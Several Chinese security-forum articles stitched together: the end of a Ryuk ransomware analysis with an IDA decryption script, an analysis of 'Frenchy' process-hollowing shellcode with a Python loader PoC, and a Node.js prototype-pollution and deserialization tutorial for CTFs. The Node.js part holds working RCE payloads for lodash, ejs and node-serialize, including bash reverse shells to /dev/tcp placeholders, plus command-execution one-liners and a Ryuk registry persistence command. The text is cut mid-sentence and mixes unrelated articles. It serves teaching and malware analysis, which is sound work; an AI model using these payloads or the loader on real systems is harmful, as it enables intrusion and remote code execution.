Ryuk的32位和64位版本中的以上逻辑都是相同的。不同架构的代码相似性也是底层代码相同的一个标记。
# 技术分析
## Dropper
Ryuk的dropper非常简单和直接，含有勒索软件的32位和64位模块。在执行时，dropper会用srand和GetTickCount函数生成一个5个字母的随机文件名。
前面提到的payload文件就会根据受害者的Windows版本写入对应目录中。如果版本是Windows XP或Windows
2000，文件就会创建到`\Documents and Settings\Default
User\``目录中，如果是其他系统版本，就创建到`\users\Public``目录中。
如果文件创建失败，dropper会尝试写入自己的目录，使用的文件名是原文件名+大写字母V。文件创建后，dropper会检查进程是否在Wow64下运行，然后根据检查的结果写入适当的payload（32位或64位）。
最后，在中止程序前，dropper会调用`ShellExecuteW`来执行刚才写入的Ryuk勒索软件payload。
## 勒索软件二进制文件
运行时，Ryuk勒索软件会执行一个几秒钟的休眠，然后检查是否执行某参数。如果成功通过，就作为一个到文件的路径，该文件会用`DeleteFileW`方法删除。基于恶意软件的dropper代码，参数就是路径本身。然后，勒索软件会执行taskkill来杀掉超过40个进程和180个服务，使预先定义号的服务和进程停止运行。这些服务和进程大多数反病毒软件、数据库、备份和文档编辑软件的进程。
图6: 杀掉的进程和服务列表
## 驻留和进程枚举
为了确保恶意软件在系统重启后执行，Ryuk使用了一种直接转发的驻留技术，即用命令将自己写入运行注册表中：
reg add /C REG ADD “HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run” /v “svchos” /t REG_SZ /d
然后提升到SeDebugPrivilege权限以扩展后续动作中的能力，线程结构数组为注入做准备。数组中的每个记录表示系统中运行的一个运行进程，含有进程名、PID、表示进程所有者账户类型的数字。
图7: 表示系统中运行进程的数组记录
将前面提到的进程列表放在一起后，Ryuk就会循环并尝试注入代码到每个进程的地址空间。
## 注入方法
Ryuk使用了一种基本的注入技术，首先用OpenProcess获取目标进程的句柄，然后用VirtualAllocEx分类缓存到其地址空间。分配的缓存为恶意软件镜像的大小，而且要求放置在系统的基地址中。
然后恶意软件会将当前虚拟镜像内容写入，并创建可以实现一些动作的线程。通过在预定义的分配基中的请求缓存中写入虚拟镜像，又没有适当的代码重定位过程，Ryuk存在请求的地址无法分配的风险，这就可能导致注入的代码在执行过程中出现错误。
图8: 注入方法和导致执行失败的bug
## 注入的代码
注入的代码有勒索软件用于文件加密的核心功能。首先是用预定义的key和字符串长度数组来解密API函数名字符串列表，字符串长度数组会被用于动态加载相关的函数。
在分析解密过程时，研究人员创建了IDA python脚本来自动解密字符串并对相关变量进行重命名。脚本代码见附录。
然后，恶意软件会尝试将仿制的文件写入Windows目录，而只有管理员权限才可以完成这个工作。如果文件创建失败，恶意软件就会尝试休眠一段时间，然后尝试进行5次同样的动作。如果尝试仍然失败，Ryuk就会终止这个动作。
如果文件成功创建，就会在Windows目录中的子文件夹中写入2个文件。第1个是`PUBLIC`，含有RSA公钥，第2个是`UNIQUE_ID_DO_NOT_REMOVE`，含有硬编码的key。这两个文件都是用于下一阶段的加密过程。
## 加密方案
勒索软件会用一个相对直接的三层可信模型。可信模型的底层是攻击者的全局RSA密钥对，在感染期间密钥对的私钥对受害者是不可见的。模型的第二层是每个受害者的RSA密钥对，一般勒索软件会在传输过程中生成密钥对，然后用第三层的全局密钥加密生成的私钥。但是Ryuk会用提前嵌入的密钥对和提前加密的私钥。
这是一种非传统的方法，如果相同的样本被用于感染多个受害者或相同的密钥对嵌入到多个样本中，则易受到`pay-once, decrypt-many`攻击。如果对每个新的样本生成新的密钥对，那么就是一个安全的模型。
图9: 嵌入每个受害者的RSA公钥
图10: 用全局密钥加密的嵌入每个受害者的RSA公钥
第三层是一个使用Win32API function
CryptGenKey对每个受害者文件生成密钥的标准AES对称加密。然后用CryptExportKey输出密钥，用第二层的密钥加密文件，并将加密的结果添加到加密文件中。在实际场景中，作者会读取CryptExportKey的文档，并提供二层密钥作为hExpKey参数。大多数勒索软件会以明文的形式输出AES
key，然后用CryptEncrypt或类似的方法加密结果。
图11: 每个文件生成AES key的集合
一旦所有的加密原语到位后，勒索软件会对受害者系统上的驱动和网络共享执行标准的递归扫描，加密除硬编码的白名单外的所有文件和目录，白名单包括`“Windows”,
“Mozilla”, “Chrome”, “RecycleBin”,
“Ahnlab”`。攻击者把web浏览器加入黑名单的一个原因是受害者需要读取勒索信息，购买加密货币等。但是攻击者加密受害者的韩国终端保护产品副本的原因尚不清楚，尤其是攻击的目标并不是韩国用户。
研究人员还有一点疑惑就是HERMES勒索软件如何被重用并重命名为Ryuk勒索软件。除了明显重新maker的reademe文件外，从可信模型上看，没有什么差别。
图12: Ryuk勒索软件加密的文件
除了本地驱动外，Ryuk还会加密网络资源。首先调用WNetOpenEnum开始枚举，然后分配一个初始值为0的缓存。然后通过调用WNetEnumResource函数来填充缓存区。如果枚举的资源是其他资源的容器，勒索软件就会递归地调用网络资源枚举函数。
对于Ryuk找出的网络资源，资源名会添加到一个之后用于加密这些网络资源的列表中，并用分号（“,”）隔开。
最后，Ryuk会破坏加密密钥，并执行删除影子备份和其他备份文件的`.bat`文件。
图13: 加密系统后Ryuk执行的batch命令列表
# 赎金流
Ryuk勒索软件并未广泛传播，与其前身HERMES类似，只被用于特定的目标攻击，因此很难追踪恶意软件作者的活动和收入。对于每个恶意软件样本，都有唯一的钱包地址，受害者支付了赎金之后，资金会通过多个账户进行分流和传递。
研究人员通过勒索信中的钱包地址分析了整个交易流，发现不同的钱包之间有一定的联系，再某个特定点，资金会通过转账转移到多个主要钱包。这也说明利用Ryuk勒索软件的活动是一个多方协作的攻击活动。
图14: 从勒索赎金到提现阶段的比特币交易流
# 结论
研究人员分析发现，不管从攻击的本质还是从恶意软件内部的工作流程来看，Ryuk与HERMES勒索软件都有一定的相关性，并与Lazarus组织联系在了一起。在感染受害者并获得64万美金后，研究人员认为该攻击活动并没有结束，未来会有更多的用户成为Ryuk的受害者。
# 附录
**字符串解密Python代码：**
""" Ryuk strings decrypter
This is an IDA Python based script which can be used to decrypt the encrypted
API strings in recent Ryuk ransomware samples. After the decryption, the
script will rename the encrypted string in order to ease analysis.
Ryuk sha-256: 8d3f68b16f0710f858d8c1d2c699260e6f43161a5510abb0e7ba567bd72c965b
"""
__author__ = "Itay Cohen, aka @megabeets_"
__company__ = "Check Point Software Technologies Ltd"
import idc
from idaapi import *
def decryptStrings (verbose = True):
encrypted_strings_array = 0x1400280D0
lengths_array = 0x1400208B0
num_of_encrypted_strings = 68
key = 'bZIiQ'
if verbose:
print ("[!] Starting to decrypt the strings\n\n")
# Iterate over the encrypted strings array
for i in range(num_of_encrypted_strings):
# Get the length of the encrypted string
string_length = idc.Dword(lengths_array + i*4)
# Get the offset of the encrypted string
string_offset = encrypted_strings_array + i*50
# Read bytes from
# For IDA version < 7, use get_many_bytes()
encrypted_buffer = get_bytes(string_offset, string_length)
decrypted_string = ''
# Decrypt the bytes and save it to
for idx, val in enumerate(encrypted_buffer):
decrypted_string += chr( ord(val) ^ ord(key [idx % len(key)]))
# Set name for the string variable in IDA
idc.MakeName (string_offset, "dec_" + decrypted_string)
# Print to the ouput window
if verbose:
print("0x%x : %s" % (string_offset, decrypted_string,))
if verbose:
print ("\n[!] Done.")
# Execute the decryption function
decryptStrings() | 社区文章 |
# Frenchy shellcode分析
|
##### 译文声明
本文是翻译文章
原文地址：<http://www.peppermalware.com/2019/07/analysis-of-frenchy-shellcode.html>
译文仅供参考，具体内容表达以及含义原文为准。
在这篇文章中，我分析了一个名为“Frenchy shellcode”的shellcode，因为它创建了互斥锁（其中一些版本有互斥锁）。
这个shellcode通过不同的packers加载了不同种类的恶意软件。 因此，我决定研究一下这个shellcode并在这里分享我的详细分析。
另外，我分享一个PoC，一个用于加载Frenchy shellcode的python脚本，使用它可以通过Hollow
Process注入，替换notepad.exe实际执行的可执行部分，最终调用执行calc.exe。
我分析的大多数样本都装有一个基于AutoIt的packers解密并加载shellcode。Frenchy
shellcode的第一个样本是Emotet，而packers是基于AutoIt的，我建议阅读这个twitter帖子(<https://twitter.com/P3pperP0tts/status/1135976656751996928?s=20>)
。过了一段时间，有另一名安全研究员分析了加载Frenchy shellcode的混淆自动脚本的变体。这个变体加载了Formbook
Stealer。之后，在我的研究中，我通过在Cape Sandbox中搜索字符串“frenchy_shellcode_003” 发现了另一个样本
，而该样本的packers是基于.Net的。
相关参考资料见最后一部分。
## 1 Packers
在本文的研究中，我不会过多的分析Frenchy shellcode的不同的packers，只会稍微提一下相应的注意事项。
### 1.1 基于AutoIt的Packer
这个packer执行一个高度混淆的自动脚本，解密并加载Frenchy shellcode。 以下是这些脚本的几个例子：
frenchy_shellcode_01： <https://pastebin.com/raw/xsUqCdRj>
frenchy_shellcode_002： <https://pastebin.com/raw/Knk2iJPF>
我推荐阅读这篇关于加载Frenchy
shellcode的AutoIt脚本的帖子。(<https://tccontre.blogspot.com/2019/07/autoit-compiled-formbook-malware.html>)
### 1.2 基于.Net的Packer
对于样本 21c1d45977877018568e8073c3Acf7c5，它的packer是.Net。 要检查.Net packer
否正在加载Frenchy shellcode，我们在CreateMutexW上设置了一个bp，我们等待其创建frenchy_shellcode_03互斥锁：
现在我们知道当前线程正在执行Frenchy shellcode，所以我们显示调用堆栈来检查调用Frenchy shellcode的线程是否来自.Net：
## 2 Frenchy Shellcode
### 2.1 Frenchy Shellcode V3
我把重点放在了我从样本 21c1d45977877018568e8073c3Acf7c5 获得的v3 shellcode上
（可以从这里下载<https://www.hybrid-analysis.com/sample/0c9da7a0e3d3b2a6345bf69a22f577855f476d645cb71cd8a18123787e75a75a/>
）。
这个shellcode的主要目的是通过使用Hollow Process注入方法将PE注入新进程。
**2.1.1 EP和参数**
Shellcode的入口点位于偏移0处，shellcode跳转到main函数：
shellcode的第一个参数是用于被注入hollow进程的应用程序exe的路径， 第二个参数是要注入的内容（PE）
**2.1.2 重复的系统库**
shellcode加载每一个它要使用的系统库：
如果我们枚举地址空间的区域，我们可以检查其中是否有一些重复的dll：
该操作可能会使shellcode更难调试， API钩子将不起作用（例如由cuckoo框架插入的钩子）。
如果在通常由恶意软件（CreateProcessW，WriteProcessMemory，SetThreadContext等等）执行的公共API上设置断点以捕获此时的恶意软件执行，则它将无法工作，因为你需要在重复的位置设置断点dll文件。
**2.1.3 使用的API**
shellcode获取指向许多API的指针，但它只使用它们的一个子集。
我觉得这是一个可以高度自定义的shellcode，它总是加载所有的API指针，但根据配置和它添加到shellcode的特定版本的代码，将使用一些API指针，其他指针不会使用。
以下是shellcode加载的API的完整列表：
BeginPaint
CoCreateInstance
CoInitializeEx
CreateMutexW
CreateProcessW
CreateWindowExW
CryptAcquireContextW
CryptCreateHash
CryptDecrypt
CryptDeriveKey
CryptDestroyHash
CryptDestroyKey
CryptHashData
CryptReleaseContext
DefWindowProcW
EndPaint
ExpandEnvironmentStringsW
FillRect
FindResourceW
FreeResource
GetModuleFileNameA
GetProcAddress_
GetSystemInfo
IsWow64Process
LdrGetProcedureAddress
LdrLoadDll
LoadLibraryA
LoadResource
LockResource
MessageBoxA
NtAdjustPrivilegesToken
NtAllocateVirtualMemory
NtClose
NtContinue
NtCreateFile
NtCreateMutant
NtCreateSection
NtCreateThreadEx
NtCreateUserProcess
NtDelayExecution
NtEnumerateKey
NtFreeVirtualMemory
NtGetContextThread
NtMapViewOfSection
NtOpenFile
NtOpenKey
NtOpenMutant
NtOpenProcess
NtOpenSection
NtProtectVirtualMemory
NtQueryInformationFile
NtQueryInformationProcess
NtQuerySection
NtQuerySystemInformation
NtQueryValueKey
NtReadFile
NtReadVirtualMemory
NtResumeThread
NtSetContextThread
NtSetValueKey
NtTerminateProcess
NtWriteFile
NtWriteVirtualMemory
PostQuitMessage
RegisterClassW
RtlCreateProcessParameters
RtlCreateUserProcess
RtlCreateUserThread
RtlFormatCurrentUserKeyPath
RtlSetCurrentTransaction
RtlZeroMemory
ShowWindow
SizeofResource
TerminateProcess
ZwCreateTransaction
ZwRollbackTransaction
ZwUnmapViewOfSection
lstrlenW
mbstowcs
memcpy
memset
strlen
wcscat
wcscmp
wcscpy
wcslen
wcstombs
有时shellcode会获取指向最初加载的dll上的API的指针。 例如，样本中的cryptoapi库，如下图所示。
我想这是因为当通过dll的辅助副本调用它们时它们不能正常工作。
**2.1.4 Process Hollowing**
恶意软件根据给定的路径参数创建新的挂起进程（路径为给定的可执行文件），然后使用Hollow
Process注入方法将给定的PE注入该进程的地址空间，替换其实际执行的可执行部分，它使用一组本机API来执行此操作。
在下图中，我们可以看到恶意软件如何创建新进程并取消进程与其自身主模块的映射。 此外，它通过调用NtCreateSection +
NtMapViewOfSection来映射要注入的PE（以获取此PE的映射副本）：
一旦取消进程与其自身主模块的映射后，我们可以进行Hollow
Process注入，获得要注入的PE的映射视图后，它就会在目标进程地址空间中创建一个新部分，以复制要在其中注入的PE。
它将使用NtCreateSection + NtMapViewOfSection + NtWriteProcessMemory来执行此操作：
最后，它更改注入进程的主线程的上下文（即修改该进程的实际执行部分代码），以设置EIP =注入代码的起始地址，并恢复线程，到此注入成功。
### 2.2 应用Frenchy Shellcode
说实话，我认为这个shellcode写得很好，它运行正常。
我决定写一个小的PoC，一个加载并调用它的python脚本，将notepad.exe作为被hollow注入进程，calc.exe的内容作为被注入的内容，完成操作后，我们将可以看到执行notepad.exe实际出来的应用程序却是计算器。
在这里你可以找到PoC和Frenchy shellcode v3：
<https://github.com/p3pperp0tts/PoC_FrenchyShellcode>
from ctypes import *
import struct
f = open("frenchyshellcode.bin", "rb")
frenchy = f.read()
f.close()
f = open("c:\windows\system32\calc.exe", "rb")
calc = f.read()
f.close()
hollowpath = "c:\windows\notepad.exex00"
#to test, full shellcode = frenchy + arguments for frenchy + code to jmp
lenshellcode = len(frenchy) + len(calc) + len(hollowpath) + len("x68x00x00x00x00x68x78x56x34x12x68x78x56x34x12x68x78x56x34x12xc3")
ptr = windll.kernel32.VirtualAlloc(None, lenshellcode, 0x3000, 0x40)
shellcode = frenchy
shellcode += calc
shellcode += hollowpath
shellcode += "x68" + struct.pack("<L", ptr + len(frenchy)) #push path to process to hollow
shellcode += "x68" + struct.pack("<L", ptr + len(frenchy)+len(calc)) #push address of pe to inject
shellcode += "x68x00x00x00x00" #fake ret addr
shellcode += "x68" + struct.pack("<L", ptr) #push address of frenchy shellcode entry point
shellcode += "xc3" #jmp to frenchy
hproc = windll.kernel32.OpenProcess(0x1F0FFF,False,windll.kernel32.GetCurrentProcessId())
windll.kernel32.WriteProcessMemory(hproc, ptr, shellcode, len(shellcode), byref(c_int(0)))
windll.kernel32.CreateThread(0,0,ptr+len(frenchy)+len(calc)+len(hollowpath),0,0,0)
windll.kernel32.WaitForSingleObject(c_int(-1), c_int(-1))
## 3\. Frenchy是谁
我尝试通过一些社工方法找到该shellcode的作者，hackforums中的一个用户值得我们怀疑，如下图所示
## 相关资料
原始样本：
Frenchy shellcode v1 + autoit
packer： 0a1340bb124cd0d79fa19a09c821a049（Avemaria）
Frenchy shellcode v1 + autoit
packer： d009bfed001586db95623e2896fb93aa
Frenchy shellcode v2 + autoit
packer： 20de5694d7afa40cf8f0c88c86d22b1d（Formbook）
Frenchy shellcode v3 + .Net
packer： 21c1d45977877018568e8073c3Acf7c5（Netwire）
从样本中提取出的shellcodes：
Frenchy shellcode v1 at <https://www.hybrid-analysis.com/sample/ba7e312ffc81f70a1ff7e1127af877cc098963cc89b3270b1fb86f50c4129c2f/>
Frenchy shellcode v2 at <https://www.hybrid-analysis.com/sample/21223f0e90f19c65bee2ab88ded6d72080d99e6a3c29853e8c61147c35cdf396/>
Frenchy shellcode v3 at <https://www.hybrid-analysis.com/sample/0c9da7a0e3d3b2a6345bf69a22f577855f476d645cb71cd8a18123787e75a75a/>
相关链接：
<https://tccontre.blogspot.com/2019/07/autoit-compiled-formbook-malware.html>
（推荐阅读）
<https://twitter.com/P3pperP0tts/status/1135976656751996928?s=20>
<https://twitter.com/JayTHL/status/1146482606185308160?s=20>
<https://twitter.com/James_inthe_box/status/1148966237684133888?s=20>
<https://cape.contextis.com/analysis/85189/>
<https://twitter.com/James_inthe_box/status/1146527056567472128?s=20> | 社区文章 |
### Node.js 原型污染漏洞
#### 原理
##### 前置知识：继承与原型链
javascript没有类，只有对象。每个实例对象（object）都有一个私有属性（称之为 `__proto__`）指向它的构造函数的原型对象（
**prototype** ）。该原型对象也有一个自己的原型对象（`__proto__`），层层向上直到一个对象的原型对象为
`null`。根据定义，`null` 没有原型，并作为这个 **原型链**
中的最后一个环节。并不代表null是顶端的对象，位于原型链顶端的是Object.prototype，上面没有了所以是null。Object.prototype对象的原型对象是null。这意味着Object.prototype没有原型，它是原型链的顶端。
几乎所有 JavaScript 中的对象都是位于原型链顶端的Object.prototype的实例。
##### `__proto__`和prototype
###### `__proto__`
当谈到继承时，JavaScript只有一种结构∶对象。每个实例对象(object)都有一个私有属性(称之为`_proto_`
)指向它的构造函数的原型对象（prototype)。该原型对象也有一个自己的原型对象(`_proto_`)，层层向上直到一个对象的原型对象为null。根据定义，null没有原型，并作为这个原型链中的最后一个环节。
###### 看一串代码
function Son(){}
var son = new Son();
console.log(Son.prototype)
console.log(son.__proto__)//这两种payload都可以用来访问原型对象
console.log(Son.prototype == son.__proto__)
输出：
Son {}
Son {}//输出一样的。
true
这个就是个利用点。
这里注意，函数Son实例化成为对象son之后不能通过prototype访问其原型对象了，因为prototype是函数特有的，那我们可以通过`__proto__`来访问他的原型对象。
son是对象，Son是函数。portotype是指向函数的原型，`__proto__`是指向对象的原型。
###### 理解一下区别
`__proto__`是每个JavaScript对象都有的一个属性，它指向该对象的原型。原型是一个对象，它包含了该对象的方法和属性。当我们访问一个对象的属性或方法时，如果该对象本身没有该属性或方法，JavaScript会沿着该对象的原型链向上查找，直到找到该属性或方法为止。prototype是函数对象特有的属性，它指向该函数的原型。原型是一个对象，它包含了该函数的方法和属性。当我们使用new关键字创建一个对象时，JavaScript会将该对象的`__proto__`属性指向该函数的prototype属性。简单来说，`__proto__`是每个对象都有的属性，它指向该对象的原型；而prototype是函数对象特有的属性，它指向该函数的原型。
##### 原型链污染原理：
对于语句：`object[a][b] = value`
如果可以控制a、b、value的值，将a设置为`__proto__`，我们就可以给object对象的原型设置一个b属性，值为value。这样所有继承object对象原型的实例对象在本身不拥有b属性的情况下，都会拥有b属性，且值为value。
例如
object1 = {"a":1, "b":2};
object1.__proto__.foo = "Hello World";//我们对object1的原型对象设置了一个foo属性
console.log(object1.foo);//console.log应该是输出函数
object2 = {"c":1, "d":2};//object1和object2两个对象继承同一个原型对象。
console.log(object2.foo);//object2没有foo这个属性，所以沿着原型链往上找，找到原型对象的foo并继承，也获得了foo属性。也就是object1的操作把这条原型链都污染了
输出两个Hello World
object1和object2两个对象继承同一个对象。
再次例如
function Father(){
this.first_name='Donald'
this.last_name='Trump'
}
function Son(){
this.first_name='Melania'
}
// console.log(Son.prototype)
Son.prototype = new Father()//把Son的原型对象设置为Father()
let son = new Son
console.log(`Name:${son.first_name} ${son.last_name}`)
输出：
Name:Melania Trump
只有Son中没有对应属性的时候才会去原型对象找。改不了他本人的，改他爹的，然后让他爹传给他。
Name：Melania xxhfunction Father(){
this.first_name='Donald'
this.last_name='Trump'
}
function Son(){
this.first_name='Melania'
}
// console.log(Son.prototype)
Son.prototype = new Father()
let son = new Son
son.__proto__['last_name']='xxh'
let newson = new Son
console.log(`Name:${newson.first_name} ${newson.last_name}`)
输出：
Name：Melania xxh
又被改了一下。
#### 容易造成原型链污染的操作
##### merge
function merge(target, source) {
for (let key in source) {
if (key in source && key in target) {
merge(target[key], source[key])
} else {
target[key] = source[key]
}
}
}
let o1 = {}
let o2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')//这里的数据要用JSON.parse处理为json格式，不然会将proto识别为键名
merge(o1, o2)
console.log(o1.a, o1.b)
输出：1，2
o3 = {}
console.log(o3.b)
输出：2//说明原型对象已经有b属性了
被加入属性的对象是o1和o1的原生类。我们给o1的加了个a属性赋值了1，给o1的原型对象加了个b属性赋值为2，而不是给o1加了个`__proto__`属性赋值为{"b":
2}。这样原型对象被污染，让o3也有了b属性。
#### 利用方法
##### js中的危险模块和函数
模块:child_process
函数:eval,spwn,exec,setTimeout,setInteval,Function
payload：
require('child_process').exec('ls');
使用require加载child_process的模块
require('child_process').execSync('ls').toString()
require('child_process').spawnSync('ls').stdout.toString();
require('child_process').spawnSync('cat',['fl00g.txt']).stdout.toString()
不需要引入模块的：
global.process.mainModule.constructor._load('child_process').execSync('ls')
解释：全局对象global的process属性是Node.js进程对象的引用，而其mainModule属性则是指向当前主模块的引用。因此，global.process.mainModule.constructor可以获取到当前主模块的构造函数，再通过其_load方法加载child_process模块并返回其引用。
###### 绕过：
敏感字符：
例如
读取目录，exec被过滤
require('child_process').execSync('ls').toString()
法1：
require('child_process')[exe'%2B'cSync('ls')]toString()
读取函数
?eval=require("fs").readdirSync('.') 查看当前目录（换成/.可查看根目录）
?eval=require("fs").readFileSync('fl001g.txt') --查看指定文件
ctfshow336（js数组对象）
var express = require('express');//加载express模块，创建express应用
var router = express.Router();
var crypto = require('crypto');//加载crypto模块，进行加密
function md5(s) {
return crypto.createHash('md5')
.update(s)
.digest('hex');
}
/* GET home page. */
router.get('/', function(req, res, next) {//收到get请求
res.type('html');
var flag='xxxxxxx';
var a = req.query.a;
var b = req.query.b;
if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){//如果请求中包含了两个参数a和b，并且这两个参数的长度相同且不相等，并且将参数a和flag拼接后进行MD5加密的结果与将参数b和flag拼接后进行MD5加密的结果相同，那么该函数将返回字符串flag
res.end(flag);
}else{
res.render('index',{ msg: 'tql'});
}
});
module.exports = router;
看了wp，payload
?a[x]=1&b[x]=2
这个表示在a对象下面加一个值为1的x属性，在b对象下面加一个值为2的x属性。
##### Lodash模块原型链污染
Lodash 是一个 JavaScript 库，包含简化字符串、数字、数组、函数和对象编程的工具，可以帮助程序员更有效地编写和维护 JavaScript
代码。有几个严重的漏洞
###### lodash.merge 方法造成的原型链污染
Lodash.merge 作为 lodash 中的对象合并插件，他可以递归合并 `sources` 来源对象自身和继承的可枚举属性到 `object`
目标对象，以创建父映射对象。这决定了它非常适合用于原型链污染。
###### 配合 lodash.template 实现 RCE
Lodash.template 是 Lodash 中的一个简单的模板引擎，创建一个预编译模板方法，可以插入数据到模板中 “interpolate”
分隔符相应的位置
[Code-Breaking 2018]Thejs
// ...
const lodash = require('lodash')//用require的方式来加载lodash库
// ...
app.engine('ejs', function (filePath, options, callback) {
// define the template engine
fs.readFile(filePath, (err, content) => {
if (err) return callback(new Error(err))
let compiled = lodash.template(content)
let rendered = compiled({...options})
return callback(null, rendered)
})
})
/*定义了一个 app.engine() 方法，该方法用于定义模板引擎的实现方式。在这里，将 ejs 作为模板引擎的名称，并传入一个回调函数作为实现。该回调函数包含三个参数：
filePath：表示要渲染的模板文件的路径；
options：表示传递给模板的数据对象；
callback：表示回调函数，用于在渲染完成后返回渲染结果。
在回调函数中，使用 fs.readFile() 方法读取模板文件的内容。如果读取出错，则直接调用 callback() 方法并返回一个错误。否则，使用 lodash.template() 方法将模板内容编译为一个模板函数，并将传入的数据对象 options 作为参数进行渲染。最后，调用 callback() 方法返回渲染结果。*/
//...
app.all('/', (req, res) => {//定义一个路由处理函数
let data = req.session.data || {language: [], category: []}//在 GET 请求中，从 req.session.data 中获取存储的数据对象
if (req.method == 'POST') {
data = lodash.merge(data, req.body)
req.session.data = data//在 POST 请求中，将请求体中的数据合并到原有的数据对象中，并将新的数据对象存储在 req.session.data 中。用于更新数据
}
res.render('index', {//这里是储存的数据。res.render将渲染结果返回给用户
language: data.language,
category: data.category
})//数据格式{language: data.language, category: data.category}
})
为什么要污染 sourceURL 呢？我们看到 `lodash.template`
// Use a sourceURL for easier debugging.
var sourceURL = 'sourceURL' in options ? '//# sourceURL=' + options.sourceURL + '\n' : '';
/*代码解释：
检查 options 对象中是否有 sourceURL 属性来生成一个用于调试的 sourceURL 字符串。如果 options 中有 sourceURL 属性，则生成形如 "//# sourceURL=xxx" 的字符串，其中 xxx 是 options.sourceURL 属性的值。如果 options 中没有 sourceURL 属性，则 sourceURL 字符串为空字符串。
这里我们想污染options的原型对象来给他赋值
注意：这个地方我们通过构造chile_process.exec()就可以执行任意代码了。但是由于Function 环境下没有 require 函数，直接使用require(‘child_process’) 会报错，所以我们要用 global.process.mainModule.constructor._load 来代替。
*/
//...
var result = attempt(function() {
return Function(importsKeys, sourceURL + 'return ' + source)
.apply(undefined, importsValues);
});//然后，使用 attempt() 方法尝试执行 Function 构造函数，生成一个新的函数并返回。生成函数的代码为 sourceURL + 'return ' + source，其中 source 是一个字符串，包含了函数的源代码。importsKeys 和 importsValues 是两个数组，分别包含了传递给生成函数的参数的键和值。在生成函数时，使用 Function 构造函数将参数列表和源代码拼接在一起，并执行生成的函数，最终返回生成函数的返回值。sourceURL被拼接进去造成任意代码执行漏洞。
给出两种payload
{"__proto__" : {"sourceURL" : "\r\nreturn e = () => {for (var a in {}){delete Object.prototype[a];}return global.require('child_process').execSync('whoami').to
{"__proto__":{"sourceURL":"\u000areturn e =>{return global.process.mainModule.constructor._load('child_process').execSync('id')}"}}
###### 配合 ejs 模板引擎实现 RCE
常用：
{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require(\'child_process\').execSync('calc');var __tmp2"}}
{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require(\'child_process\').exec('calc');var __tmp2"}}
{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx/6666 0>&1\"');var __tmp2"}}
### 其他漏洞
#### Node.js CVE-2017-14849
Express是个web框架，由js编写
###### 漏洞影响
Node.js 8.5.0 + Express 3.19.0-3.21.2
Node.js 8.5.0 + Express 4.11.0-4.15.5
Express依赖Send组件，Send组件0.11.0-0.15.6版本pipe()函数中
Send模块通过`normalize('.' + sep +
path)`标准化路径）path后，并没有赋值给path，而是仅仅判断了下是否存在目录跳转字符。如果我们能绕过目录跳转字符的判断，就能把目录跳转字符带入545行的`join(root,
path)`函数中，跳转到我们想要跳转到的目录中
标准化路径：将路径符号转化为当前操作系统规定的
目录跳转字符：
..跳转到上一目录
.当前目录
再来看Node.js，Node.js
8.5.0对path.js文件中的`normalizeStringPosix`函数进行了修改，使其能够对路径做到如下的标准化：
assert.strictEqual(path.posix.normalize('bar/foo../..'), 'bar');
这里path.posix.normalize把bar/foo../..标准化为bar
新的修改带来了问题，通过单步调试我们发现，可以通过`foo../../`和目录跳转字符一起注入到路径中，`foo../../`可以把变量`isAboveRoot`设置为`false`（代码161行），并且在代码135行把自己删掉；变量`isAboveRoot`为`false`的情况下，可以在`foo../../`两边设置同样数量的跳转字符，让他们同样在代码135行把自己删除，这样就可以构造出一个带有跳转字符，但是通过`normalizeStringPosix`函数标准化后又会全部自动移除的payload，这个payload配合上面提到的Send模块bug就能够成功的返回一个我们想要的物理路径，最后在Send模块中读取并返回文件。
#### Node.js CVE-2017-5941
###### 原理
源于Node.js使用的一个叫做"serialize-javascript"的npm包中的缺陷。
该漏洞的原理是，攻击者可以通过构造特定的JavaScript对象，在其中注入恶意代码，并将该对象序列化成JSON字符串，然后将JSON字符串发送到服务器。当服务器解析该JSON字符串并反序列化该对象时，恶意代码会被执行，从而导致攻击者可以远程执行任意代码。
###### 前置知识
IIFE（立即调用函数表达式）
这是一个在定义时就会立即执行的js函数
(function () {
statements
})();
这是一个被称为 [自执行匿名函数](https://developer.mozilla.org/zh-CN/docs/Glossary/Self-Executing_Anonymous_Function) 的设计模式，主要包含两部分。
第一部分是包围在 [`圆括号运算符`](https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Operators/Grouping) `()`
里的一个匿名函数，这个匿名函数拥有独立的词法作用域。这不仅避免了外界访问此 IIFE 中的变量，而且又不会污染全局作用域。
第二部分再一次使用 `()` 创建了一个立即执行函数表达式，JavaScript 引擎到此将直接执行函数。
形式：
(function(){ /* code */ }());
(function(){ /* code */ })();
###### 实例
构造Payload
serialize = require('node-serialize');
var test = {
rce : function(){require('child_process').exec('ls /',function(error, stdout, stderr){console.log(stdout)});},
}
console.log("序列化生成的 Payload: \n" + serialize.serialize(test));
生成的Payload为：
{"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('ls /',function(error, stdout, stderr){console.log(stdout)});}"}
`_$$ND_FUNC$$_function (){...}()`是通过特殊命名方式（ _$$ND_FUNC$$_
）创建的一个JavaScript函数对象，并使用其中的"require"和"exec"函数来执行同样的恶意代码。这种方式的好处是可以通过特殊命名方式避免一些JavaScript命名约束，例如不能以数字开头的变量名等，从而增加了成功利用漏洞的几率。
因为需要在反序列化时让其立即调用我们构造的函数，所以我们需要在生成的序列化语句的函数后面再添加一个`()`
{"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('ls /',function(error, stdout, stderr){console.log(stdout)});}()"}
function(error, stdout,
stderr){console.log(stdout)}这里利用回调函数显示结果，如果反弹shell就不需要了
_$$ND_FUNC$$_function (){require('child_process').exec('bash -c "bash -i >& /dev/tcp/[IP]/[PORT] 0>&1"')}()
参考：
[从 Lodash 原型链污染到模板 RCE-安全客 - 安全资讯平台
(anquanke.com)](https://www.anquanke.com/post/id/248170#h2-10)
[NodeJs从零到原型链污染 - M1kael‘s Blog](http://blog.m1kael.cn/index.php/archives/27/)
[CVE-2019-10758:mongo-expressRCE复现分析 - 先知社区 (aliyun.com)]( | 社区文章 |
#### Author：elknot@360corpsec
* * *
## 0x00 前言
